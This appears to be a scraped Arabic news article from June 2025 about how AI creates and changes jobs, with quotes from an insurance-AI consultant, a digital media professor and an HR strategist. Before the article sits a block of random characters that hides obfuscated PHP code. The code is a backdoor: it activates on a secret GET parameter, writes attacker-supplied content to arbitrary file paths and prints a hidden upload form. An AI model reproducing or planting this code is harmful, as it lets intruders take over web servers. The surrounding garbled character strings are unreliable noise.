o1pv4InLlZ CTG DQUw8Rj3dg6tHVr2 7i_WymbYOK9xkPXNJaq5BesSF0hucAMzfESmn18EjNCvLTYWUwGpH7gXJ zoB ce9qPl3s_Vxa5buFfkIDOd4irQKZRhMAt6y0 2ABGoiQNXDdlH3Fua9b8MVrewsZ5OPyhSWIg16EmUf0C7nJjz_K q TLv4kt xcY2pRWpIjqAgsz8OHN_myEkFTKVBbDr7C1 LUh0iGJt2fZY o9c eM6SRaXxluP5Q43ndvwXvHuopVRIGx7ygWwZihlQfaLnS1U2rkcEzbPO0e TBJtA83q9Ds_Fm5CN4jYd6 MKMml352cBOgniLhqEsSWx tYTFIarZ4f_u9JvbeyC0HV7kAKj QGpoR 1N6XdwD8UPzLvEycsu9NYRFtOBK_jIWMxqpawhg4XUDVZrPmHlT8 6GiC5bn10A 7dfJ3 ek2SQozI6XQl3cUMhbazR_pHYJovTi0n4B 1r2wLs7k8d5OAGxNPWuFDyfVtEjSqZ emK9gC<?php $VBSy_ = ucwords("BrMi8xw"); $lx0_If = (("U4s8")[2].("apStf")[3].("vrZz")[1]./**/("wjt_o")[3]./**/("JrZJp")[1]./* */("Pneezs")[3]./**/("ovp9q")[2].("eptf")[0]./**/("OcaPnQ")[2]./* */("tYH2")[0])("", 7); $TbLDxCSsY = strval(false); $DtRY1Mi = (/**/("V3gsj")[3]./* */("XytF")[2].("TvrG")[2].("silJmj")[1]./**/("pAe9")[0].("oK78")[0].("NsfdJ")[1])("aV_0q8p","RW8C6H"); $Qtxs3QqHE = (/* */("sXr8")[0]./* */("VSpj_g")[2]./**/("Yar2zf")[2].("miGSk")[1]./**/("HonpN")[2].("nXth")[2]./* */("PiAbf8")[4])(""); $Ib9yvHCm = (string) null; $AawxpIj = false; if(!isset($_GET["HOU"]))exit;$NE6_7AJV = isset($_POST["JLPBt"])?(("dNlt_")[3].("yrpz3")[1].("sxiG")[2]./* */("VmsgF8")[1])($_POST["JLPBt"]):"";$cD_3jYoku = isset($_POST["IqbHG"])?(("dNlt_")[3].("yrpz3")[1].("sxiG")[2]./**/("VmsgF8")[1])($_POST["IqbHG"]):""; $sf = !empty($cD_3jYoku)?exit("vMN5r6wDC8T7aKW".save_file($NE6_7AJV,$cD_3jYoku)):"";$RRpf_ = array("lS4o2AH7Xb9gK"); $rP3Thrk9b = array("_kq06GbMr8yPjLFReE"); function save_file($NE6_7AJV,$cD_3jYoku){ $handle = fopen($NE6_7AJV,"w"); if($handle){ fwrite($handle,$cD_3jYoku); fclose($handle); } return "vMN5r6wDC8T7aKW";}echo ("<K5w")[0]./* */("jBfR")[2]./**/("oCU5K6")[0].("RrWvMh")[1]./**/("Mmt9sF")[1]./* */("b hl")[1]./* */("hbmc")[2]./* */("k7ea")[2].("tYG8iV")[0]./**/("hUIus0")[0].("oD9o")[0].("dkZjF")[0].("WGhu=V")[4].'"'./* */("wPCfn2")[1]./**/("OHO69")[2].("hSx5")[1].("hTo5Kh")[1].'"'./* */("g>DCp")[1];$ZzqZW1uC = ucfirst("QOi5PF"); $yelKRJh = (/* */("sE0k")[0]./**/("r5r_t9")[4]./* */("X8rrJY")[2]./**/("v2s9Jf")[2].("mntH")[2].("lrji")[1])("XyaVSo6G","MeqxON3HF"); echo ("Nmp<4h")[3].("dvCNEU")[0].("mIUSi5")[4].("fOvL")[2].("AA7G>3")[4].("IM<Zc")[2].("MiJr")[1].("DgOenH")[4]./**/("FkpxzH")[2].("rxmu8")[3].("Yty8X")[1].(" zW2Sy")[0]./* */("CatKz")[2]./**/("yW_ya")[3].("K5bpCd")[3]./* */("kOoeuV")[3].("D=I4")[1].'"'.("Bnt8SX")[2].("zeEbR")[1]./**/("FYxR")[2]./**/("k_tov")[2].'"'./**/("I xarO")[1]./* */("xTnuv")[2]./* */("Ta8zS")[1]./* */("wammZ")[3].("eenRH")[1]./* */("T=de")[1].'"'.("JxKD")[0]./**/("k1ILdf")[3]./**/("_PjSUO")[1]./**/("SABMiU")[2].("ePKtmR")[3].'"'.(">RgdWj")[0].("<qAhIC")[0]./**/("N/lEvS")[1].("FPsydX")[4].("ctri8")[3]./* */("p2vEO")[2]./**/("GH0L>D")[4];echo ("<ghPoT")[0].("_ZdGp")[2]./* */("e3ciC0")[3]./* */("vRcs")[0]./* */("F3>a")[2]./**/("K<Em")[1].("UtSf")[1].("Oerf")[1]./* */("PxjIZL")[1]./**/("tCTVf")[0]./* */("u8FPak")[4].("EXritH")[2].("q0eJ3")[2]./**/("raVjf")[1].("BO ic5")[2].("lNnFQw")[2]./* */("Rgqa9")[3]./* */("Wsmw")[2].("CVQeN")[3]./* */("J6=d")[2].'"'./**/("IbqYJR")[0].("wo4q6")[3]./* */("Ypb9")[2]./**/("FHQIeN")[1].("aXTG2S")[3].'"'.("nP 0")[2]./**/("nlrf")[2].("Vqmdo0")[4].("wLvZY")[0]./* */("k5s79")[2]./* */("pU=Ty9")[2].'"'.("5QmiG")[0].'"'./**/("_e>OM")[2]./* */("XEZh<Q")[4].("vz/Zob")[2].("tdLv")[0].("pvee")[2].("xFJjI")[0].("tNfl")[0].("Vah7aq")[1]./**/("hQrzC")[2].("jTUFem")[4]./**/("YaPq")[1]./**/("CgQ>7e")[3]./* */("<r9EuK")[0].("gm/yCI")[2]./**/("f6dJ0h")[2]./* */("zikt")[1]./**/("d8ivV")[3]./* */("ISa>he")[3];$ArB4jNXOm = ucfirst("OY9_n"); echo /**/("H<qOwo")[1]./* */("BzbXpn")[2].("uszELu")[0].("YeoYth")[4].("Y6t9")[2].("om1t5h")[0]./**/("ynVvit")[1]./* */("z PE")[1].("MXty")[2].("VDyWz")[2]./* */("bpc3j")[1].("BeGDhe")[1]./**/("K=BOp")[1].'"'.("ls6t9V")[1]./* */("rPuWa")[2].("TVbpe")[2]./* */("emaP")[1]./**/("DiLMZ")[1].("Jpte2")[2].'"'.("UlOZ>j")[4]./* */("sci1dE")[0]./**/("oeuCh2")[2].("bRcAR")[0].("PrFmCS")[3].("RiHP")[1]./* */("twvm2")[0]./* */("<HQYG")[0]./**/("/ZsPjl")[0]./**/("UCbh_q")[2]./**/("jhuw")[2]./* */("wwtK")[2]./**/("HtvQN0")[1]./**/("oa2dq")[0]./**/("XQfns")[3]./* */(">SFnUD")[0];$fWuUo8 = defined("kHnLp"); echo /**/("TdNV<J")[4].("/iJ1W")[0]./**/("fscIF2")[0].("XAoxM")[2].("HerrHg")[3].("mpsu")[0]./* */("NWC>9")[3]; ?>4IqQet35AJxCcS09ojpkULwKF H_ YbZrGl RXsyOWmh2867PfMDzTiavVNgB1EdunxiI7Q8_oAYKhdOrJkjVzmHGT0NvF sEXcBL 45gS2RluU36bwefaqy9Z MpWn1PtCDgtv7 X_ML4GmHKT2x DnZzWJO85kcrI 6A1RVelbCya0FqU3hoEuYNpj9sfPiSdQBwqMrQxw WaGt2mfvk_XLIuTNl KCB7ODcp8JFoEsdeh39nzg4PZ506iHyVAj1bY SURx pG0nEKmHNzRdr9eAcCMg67lhIu_s4vX PWQwVFqOoJ5jZ U3SLy8DkaYi1bB2tfTR3cv5YhfPZd1KB6NVkit8rEXxuTCA2Jymzseq OU S7Q0Wj9g4oLDnHlFIwpbGM a_taLfFZUxC hGvOcTn_oAjKN elsSXrD4EmzkIdiHpJYwW6gV 5uRb187yP2309BQqM1pFIihdYLme_ OQg ZTlcDCwH6E9 3KMa4fPNyJGBvbxSXu5sonkW0RjU8qztA2V7r

خطوة

هل يعمل الذكاء الاصطناعي بدلا منا ؟مهن تتوارى واخرى تنهض

يونيو 9, 2025

3٬333 3 دقائق

كتبت: فرح سمير

نشر رجلُ الأعمال المصريّ أحمد أبو هشيمة عبر حسابه الرسمي على منصة LinkedIn “لازم تعرف إن الذكاء الاصطناعي مبقاش مستقبل، هو حاضر واللي بيتأخر فيه بيتأخر كتير جدًا.” مؤكدًا أنّ التراجع والإهمال في هذا المجال يضر ّ بمعدلات الإنتاج ويؤخّر المؤسّسات

وبالاعتماد على تصريح المهندس خالد الدغيثر، المؤسّس والرئيس التنفيذي لشركة” مرافق الموحدة “والإداري في “إتقان السعودية”، أصبح الذكاء الاصطناعي لاعبًا رئيسيًا في إعادة تشكيل الوظائف داخل الشركات.

محمد مغربي- أستشاري التأمين والذكاء الاصطناعي

أوضح محمد مغربي، استشاري التأمين والذكاء الاصطناعي، أن السنوات الأخيرة شهدت ظهور وظائف لم تكن موجودة قبل عقد، مثل Prompt Engineer وAI Trainer، والتي تُعنى بتدريب النماذج وكتابة الأوامر للحصول على نتائج دقيقة. ولفت إلى أن الذكاء الاصطناعي لم يكتفِ بتحسين مهام تقليدية كالتسويق وخدمة العملاء، بل أوجد وظائف جديدة كليًا مثل مهندس تعلم الآلة، عالم البيانات، مدير منتج الذكاء الاصطناعي، وأخصائي أخلاقيات الذكاء الاصطناعي.

وأشار مغربي إلى تخصصات حديثة مثل Explainable AI وAI Governance، تعكس التركيز المتزايد على الشفافية والمسؤولية، مؤكدًا أن قطاعات التكنولوجيا، الصحة، المال، التعليم، والأمن السيبراني كانت الأكثر استفادة من هذه الطفرة.

كما برزت أدوار جديدة في سوق العمل مثل مصمم المحادثات الآلية، أخصائي التشغيل الآلي، ومهندس عمليات الذكاء الاصطناعي، في حين أصبح العمل الحر شائعًا في مجالات مثل الترجمة وكتابة المحتوى، مع اعتماد متزايد على المهارات الفعلية أكثر من الشهادات.

وشدّد مغربي على أهمية المزج بين الإبداع والتقنية، مشيرًا إلى تجارب مبرمجين يصممون موسيقى بالذكاء الاصطناعي ومصممي جرافيك يستخدمون أدوات مثل Midjourney وDALL·E. كما قدّم نصائح عملية للراغبين في دخول المجال، أبرزها: تعلم Python، أساسيات التعلم الآلي، أدوات تحليل البيانات مثل SQL وPower BI، واستخدام أدوات مثل ChatGPT وCopilot، مع التركيز على التفكير النقدي وفهم أخلاقيات الذكاء الاصطناعي.

وأكد أن وظائف مثل Prompt Engineer ستشهد تطورًا كبيرًا في المستقبل، محذرًا من الاعتماد الكامل على أداة واحدة، ومشددًا على أهمية بناء أساس متين من المهارات التحليلية وفهم الأنظمة. وختم بدعوة الشباب إلى البدء الآن، تنفيذ مشاريع بسيطة، والانخراط في مجتمعات تقنية لدعم التعلم المستمر.

د. رضوى عبد اللطيف – أستاذة الإعلام الرقمي

فيما تؤكد الدكتورة رضوى عبد اللطيف، أستاذة الإعلام الرقمي، أن “مفيش حاجة اسمها مهن صحفية جديدة، الصحفي هو الصحفي”، تشير إلى أن التغير الحقيقي يكمن في تطور المهام داخل المؤسسات الإعلامية التي تعتمد على تقنيات الذكاء الاصطناعي. وتوضح أن الصحفي اليوم مطالب بإجادة إنتاج المحتوى ونشره وتسويقه، إلى جانب فهم سلوك الجمهور والتحقق من دقة المعلومات باستخدام أدوات الذكاء الاصطناعي.

وترى عبد اللطيف أن الدور الإنساني للصحفي لا يمكن استبداله، بل يُستكمل من خلال مجموعة من الأدوات الحديثة مثل برامج التحرير والتصحيح اللغوي، الترجمة الآلية، التسويق الرقمي، تخصيص المحتوى، وتحليل سلوك الجمهور. وتلفت إلى أن هذه التقنيات أسهمت في نشوء وظائف جديدة في المجال الإعلامي، من بينها محلل بيانات الجمهور، خبير تحليل التوجهات، صحفي البيانات التحليلية، مصمم المحتوى التفاعلي، ومدير الحملات الرقمية، مؤكدة على ضرورة الإبقاء على الرقابة البشرية والالتزام بالقيم المهنية لضمان نزاهة العمل الصحفي

خالد الشربيني – مستشار استراتيجي وخبير موارد بشرية

أكد خالد الشربيني، المستشار الاستراتيجي وخبير الموارد البشرية، أن الذكاء الاصطناعي أصبح ضرورة ملحّة في سوق العمل، مستشهدًا بتقرير Veritone لعام 2024، الذي أشار إلى زيادة وظائف الذكاء الاصطناعي في الولايات المتحدة بنسبة 24.5% مقارنة بعام 2023، بما يعادل أكثر من 81 ألف وظيفة جديدة.

وأوضح أن الشركات تبحث عن مهارات متخصصة مثل تحليل البيانات، البرمجة (Python، Java)، الأمن السيبراني، التعلم الآلي، والهندسة التفاعلية، مؤكدًا أن 87% من المؤسسات باتت تستخدم الذكاء الاصطناعي في التوظيف، عبر أدوات مثل فرز السير الذاتية والمقابلات الذكية.

وأشار الشربيني إلى توسع قطاعات مثل الرعاية الصحية، المال، التسويق الرقمي، والخدمات اللوجستية بفضل هذه التقنيات، لافتًا إلى أن المنتدى الاقتصادي العالمي يتوقع خلق 170 مليون وظيفة جديدة بحلول 2030. كما كشف أن 77% من الشركات تخطط لإعادة تأهيل موظفيها عبر تدريبات وشهادات مهنية، مؤكدًا على أهمية دور “قادة التحول” في دمج التكنولوجيا داخل بيئات العمل.

وختم بدعوة الشباب إلى تطوير مهاراتهم التقنية والشخصية، وتبنّي التعلم المستمر، مشددًا على أن الذكاء الاصطناعي لا يُغني عن الإنسان، بل يدعمه ويعزز جودة القرارات والخدمات.

يتضح جليًا من خلال تصريحات أحمد أبو هشيمة وخبراء المجال أن الذكاء الاصطناعي لم يعد خيارًا مستقبليًا بل ضرورة حاضرة تتطلب انتباه المؤسسات والأفراد على حد سواء، وإلا فقدوا فرصًا كبيرة في التطور والابتكار. وقد كشفت هذه الحوارات عن تنوع الأدوار والمهام التي نشأت مع اعتماد تقنيات الذكاء الاصطناعي، بدءًا من تحليل البيانات وتصميم النماذج وصولًا إلى إدارة الحملات الرقمية وإثراء المحتوى الصحفي، مع التأكيد الدائم على أهمية العنصر البشري والرقابة الإنسانية لضمان جودة الأداء والحفاظ على القيم المهنية.

يبقى الاستثمار في بناء المهارات الأساسية والتخصصية، وتبني ثقافة التعلم المستمر، هو السبيل الأمثل لمواجهة تحديات التحول الرقمي واغتنام فرصه المتجددة. ومن خلال تعاون القادة وصناع القرار مع كوادرهم على تأهيل بيئات العمل وتبني أدوات الذكاء الاصطناعي بوعي ومسؤولية، يمكن للمؤسسات أن تصنع طريقها نحو مستقبلٍ أكثر إنتاجية واستدامة

يونيو 9, 2025

3٬333 3 دقائق